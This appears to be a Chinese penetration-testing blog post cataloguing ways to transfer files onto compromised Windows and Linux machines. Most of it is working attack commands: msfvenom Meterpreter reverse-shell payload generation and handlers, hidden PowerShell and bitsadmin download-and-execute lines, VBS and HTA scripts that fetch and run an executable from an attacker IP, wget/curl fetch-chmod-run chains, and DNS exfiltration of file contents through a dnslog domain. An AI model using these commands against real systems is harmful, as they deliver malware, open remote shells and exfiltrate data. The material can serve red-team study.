01.文件传输方法
本文最后更新于486 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Windows下文件传输

1.Bitsadmin

BITSAdmin 是一个命令行工具,可以使用它创建下载或上传作业,并监视其进度。

1)msfvenom 生成 Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.34.126.129 lport=6666 -f hta-psh > 6666.hta

2)启动 Apache2 服务,托管 Payload

# 启动apache2服务
service apache2 start

# 复制payload到web根目录
cp 6666.hta /var/www/html/

Pasted image 20250214165330.png

3)bitsadmin 下载 Payload

bitsadmin /transfer shell http://10.34.126.129/6666.hta C:\windows\temp\6666.hta

Pasted image 20250214165413.png

  • /transfer:用于创建一个新的传输作业
  • shell:传输作业名称
  • http://10.34.126.129/6666.hta:要下载的文件的 URL 地址
  • C:\windows\temp\6666.hta:文件下载后存储的本地路径和文件名。文件将保存在 Windows 系 统的临时文件夹中。

4)启动 metasploit 监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 10.34.126.129 -P 6666

Pasted image 20250214165731.png

5)执行 Payload

rundll32.exe url.dll,OpenURL C:\windows\temp\6666.hta

Pasted image 20250214165828.png

  • rundll32.exe:Windows 中的一个工具,用于执行 DLL(动态链接库)中导出的函数。
  • url.dll,OpenURL:这是调用 url.dll 中的 OpenURL 函数,用于打开指定的文件或 URL。
  • C:\windows\temp\6666.hta:这是你要执行的 HTA 文件的路径。

2.Certutil

过程可参考以下的文章
[[06.Windows 反弹 shell 方法#七、Certutil]]

3.Powershell

1)DownloadFile

# 创建一个 System.Net.WebClient 对象,并将其存储在变量 $d 中
$d = New-Object System.Net.WebClient

# 调用对象的DownloadFile方法下载文件
$d.DownloadFile("https://pastebin.com/raw/M676F14U","s.txt")
# 使用 powershell -c 来执行一个字符串形式的命令
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('https://pastebin.com/raw/M676F14U','s.txt')"

powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')"
# 使用 powershell 命令直接执行
powershell (new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')
  • 远程下载文件到本地并执行
cmd /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://10.34.126.129/6666.exe','notepad.exe');start-process .\notepad.exe

2.Invoke-WebRequest

Invoke-WebRequest:是 PowerShell 的一个 cmdlet,用于发送 HTTP 或 HTTPS 请求到指定的 URI。
别名:iwr、wget、curl

powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"

3.DownloadString

[[06.Windows 反弹 shell 方法#2.PowerShell 加载 Powercat]]

4.SCP

SCP在windows系统下可进行本地与远程主机、不同远程主机间的文件复制,还支持整个目录结构的递归传输。
windows10及以上系统自带。

  • SCP 下载文件
# 下载单个文件
scp root@192.168.81.229:/root/6666.hta 6666.hta

# 下载文件夹下所有文件
scp -r root@192.168.81.229:/var/www/html html/
  • SCP 上传文件
    上传单个文件
scp test.txt root@192.168.81.229:/tmp/test.txt

上传文件夹

scp -r password/ root@192.168.81.229:/tmp/pass/

5.net use

net use 命令是 Windows 操作系统中的一个命令,用于将共享资源映射到本地计算机上。

  • 显示建立的网络共享连接
net use
  • 与远程主机192.168.81.227的C盘建立网络共享连接,并映射远程主机C盘,到本地K盘
net use k: \\192.168.81.227\c$ /user:用户名 "密码"

密码的引号可以不用

  • 列出本地K盘目录,也就是显示的远程主机192.168.81.227的C盘
dir K:
  • 显示远程主机192.168.81.227的C盘目录文件
dir \\192.168.81.227\c$
  • 复制远程主机192.168.81.227的C盘目录下的6666.hta文件到本地
copy \\192.168.81.227\c$\6666.hta c:\6666.hta
  • 上传本地文件到远程主机
copy a.txt \\192.168.81.227\c$
  • 查看文件内容
type \\192.168.81.227\c$\a.txt
  • 断开网络连接
net use \\192.168.81.227\c$ /del
net use K: /del

6.VBS

保存为 .vbs 文件后运行

1)下载

download.vbs

' 使用CreateObject()方法创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
Set xPost=createObject("Microsoft.XMLHTTP")
' 调用Open()方法打开一个GET请求,指定要下载的文件的URL地址
' 最后一个参数为0表示异步请求,即不等待服务器响应直接执行下一条语句
xPost.Open "GET","http://192.168.81.229/6666.exe",0
' 调用Send()方法发送请求并获取响应内容。
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存到本地文件中
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\6666.exe",2
cscript download.vbs

2)下载并执行

download_run.vbs

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.81.229/6666.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\6666.exe",2
wscript.sleep 1000
Shell.Run ("c:\6666.exe") '延迟过后执行下载文件

3)cmd 命令写入脚本并执行

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://192.168.81.229/6666.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\6666.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\6666.exe") >>zl.vbs
cscript zl.vbs

4)wget.vbs

' 开启错误处理,当发生错误时跳过并继续执行下一条语句
on error resume next
' 使用"Wscript.Arguments()"获取命令行参数,分别赋值给iLocal、iRemote、iUser和iPass变量。
' iLocal表示本地保存文件的路径,
' iRemote表示远程文件的URL地址,
' iUser和iPass表示访问远程服务器需要的用户名和密码(如果不需要认证,则为空字符串)
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
' 使用CreateObject()创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
set xPost=CreateObject("Microsoft.XMLHTTP")
' 判断是否需要认证,调用Open()方法打开一个GET请求,最后调用Send()方法发送请求并获取响应内容
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存到本地文件iLocal中
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法

cscript wget.vbs http://192.168.81.229/6666.exe c:\6666.exe

功能类似于wget

7.HTA

保存为 .hta 文件后运行

<html>
<head>
<script>
// 使用new ActiveXObject()方法创建一个名为Object的MSXML2.XMLHTTP对象,用于向远程服务器发送HTTP请求
// 然后调用Object.open()方法打开一个GET请求,指定要下载的文件的URL地址
// 最后一个参数为false表示同步请求,即等待服务器响应后再执行下一条语句
// 使用Object.send()方法发送请求并获取响应内容
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.81.229/6666.exe",false);
Object.send();

// 检查Object.Status的值是否等于200,表示HTTP响应的状态码是否为成功。
// 响应成功,就使用new ActiveXObject()方法创建一个名为Stream的ADODB.Stream对象,用于将响应内容保存到本地文件
// 然后调用Stream.Open()方法打开流,调用Stream.Type = 1方法设置流数据类型为二进制
// 调用Stream.Write()方法写入响应内容,最后调用Stream.SaveToFile()方法将流数据保存到本地文件"C:\6666.exe"中
// 使用new ActiveXObject()方法创建一个名为Shell的Wscript.Shell对象,用于运行本地可执行文件
// 调用Shell.Run()方法运行C:\6666.exe文件
// 调用Stream.Close()方法关闭流,调用window.close()方法关闭窗口
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\6666.exe", 2);
    Stream.Close();
    var Shell = new ActiveXObject("Wscript.Shell");
    Shell.Run("C:\\6666.exe");
}
window.close();
</script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

二、Linux下文件传输

Msfvenom 生成 Linux 执行的 payload

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=120.79.150.243 lport=6677 -f elf -o 6677.elf

创建 handler 监听器

handler -p linux/x64/meterpreter/reverse_tcp -H 120.79.150.243 -P 6677

1.wget

wget http://120.79.150.243:8000/6677.elf -P /tmp/ && chmod +x /tmp/6677.elf && /tmp/6677.elf &
  • -P: 指定下载文件的存储路径
  • &:表示在后台运行
    Pasted image 20250215190848.png
wget -O 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &

-O:指定下载文件的输出文件名

2.curl

curl -o 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &

curl -O http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &
  • -o:将下载的文件保存为指定的文件名
  • -O:使用远程文件的原始文件名保存下载的文件

3.Netcat

  • 靶机主动连接攻击机
# kali
cat file | nc -lvvp 1234

# linux
nc 192.168.81.229 1234 > 5555.elf

Pasted image 20250215221819.png

Pasted image 20250215221807.png

Pasted image 20250215221842.png

  • 攻击机主动连接靶机
# kali
nc 192.168.81.221 1234 < 5555.elf

# linux
nc -lvvp 1234 > 5555.elf

4.SFTP

sftp root@10.34.126.129:/var/www/html/

Pasted image 20250215224952.png

sftp -P 22 root@192.168.81.229

sftp -P 22 -i ~/.ssh/id_rsa root@192.168.81.229
  • -P:指定 ssh 端口
  • -i:指定私钥

5.DNS

利用 dns 传输数据

cat test | xxd -p -c 16 | while read line; do host $line.sau547.dnslog.cn; done
  1. cat test:
    读取文件 test 的内容并输出到标准输出。
  2. xxd -p -c 16:
  • xxd 是一个将文件内容转换为十六进制表示的工具。
  • -p 选项表示以纯十六进制格式输出(不带地址和文本部分)。
  • -c 16 表示每行输出 16 个字节的十六进制数据。
  1. while read line; do host $line.sau547.dnslog.cn; done:
  • 逐行读取 xxd 输出的十六进制数据。
  • 对每一行数据,执行 host 命令,将十六进制数据作为子域名的一部分,查询 DNS 记录。
  • 例如,如果某行数据是 616263,则会查询 616263.sau547.dnslog.cn 的 DNS 记录。

Pasted image 20250215230036.png

Pasted image 20250215230025.png

Pasted image 20250215230012.png

三、脚本语言下文件传输

1.PHP

php -r 'file_put_contents("5555.elf",file_get_contents("http://192.168.81.229/6677.elf"));'
  • file_put_contents: 将一个字符串写入文件
  • file_get_contents: 将整个文件读入一个字符串
  1. php -r:
    使用 PHP 执行后面引号中的单行代码。
  2. file_get_contents("http://192.168.81.229/6677.elf"):
  • 从指定的 URL(http://192.168.81.229/6677.elf)获取文件内容。
  • 返回文件内容的字符串(如果是二进制文件,则返回二进制数据)。
  1. file_put_contents("6677.elf", ...):
  • 将获取到的文件内容写入本地文件 6677.elf`。
  • 如果文件不存在,则会创建;如果文件已存在,则会覆盖。

2.Python

python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.81.229/6677.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"
  1. python3 -c:
    使用 Python 3 执行后面引号中的单行代码。
  2. import urllib.request:
    导入 Python 标准库中的 urllib.request 模块,用于处理 HTTP 请求。
  3. urllib.request.urlopen('http://192.168.81.229/6677.elf'):
    打开指定的 URL(http://192.168.81.229/6677.elf)并返回一个文件对象 u,用于取远程文件内容。
  4. open('c:\\temp\\win.hta', 'w'):
    在本地打开文件 c:\temp\win.hta,模式为写入('w')。如果文件不存在,则会创建如果文件已存在,则会覆盖。
  5. f.write(u.read().decode('utf-8')):
  • u.read() 读取远程文件的内容(二进制数据)。
  • .decode('utf-8') 将二进制数据解码为 UTF-8 字符串。
  • f.write() 将解码后的内容写入本地文件。
python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.81.229/6677.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"

3.Ruby

#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.81.229") { |http| r = http.get("/6677.elf")
  open("/tmp/5555.elf", "wb") { |file| file.write(r.body)
    }
}
  1. #!/usr/bin/ruby:
    指定脚本使用 Ruby 解释器执行。
  2. require 'net/http':
    导入 Ruby 标准库中的 net/http 模块,用于处理 HTTP 请求。
  3. Net::HTTP.start("192.168.81.229"):
    启动一个 HTTP 会话,连接到指定的主机(192.168.81.229)。
  4. http.get("/6677.elf"):
    发送 HTTP GET 请求,获取路径为 /6677.elf 的文件内容,并将响应存储在变量 r 中。
  5. open("/tmp/5555.elf", "wb"):
  • 打开本地文件 /tmp/5555.elf,模式为二进制写入("wb")。
  • 如果文件不存在,则会创建;如果文件已存在,则会覆盖。
  1. file.write(r.body):
    将 HTTP 响应的内容(r.body)写入本地文件。
ruby -e "require 'net/http';Net::HTTP.start('192.168.81.229') { |http|r = http.get('/6677.elf');open('/tmp/6677.elf', 'wb') { |file| file.write(r.body)}}"
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇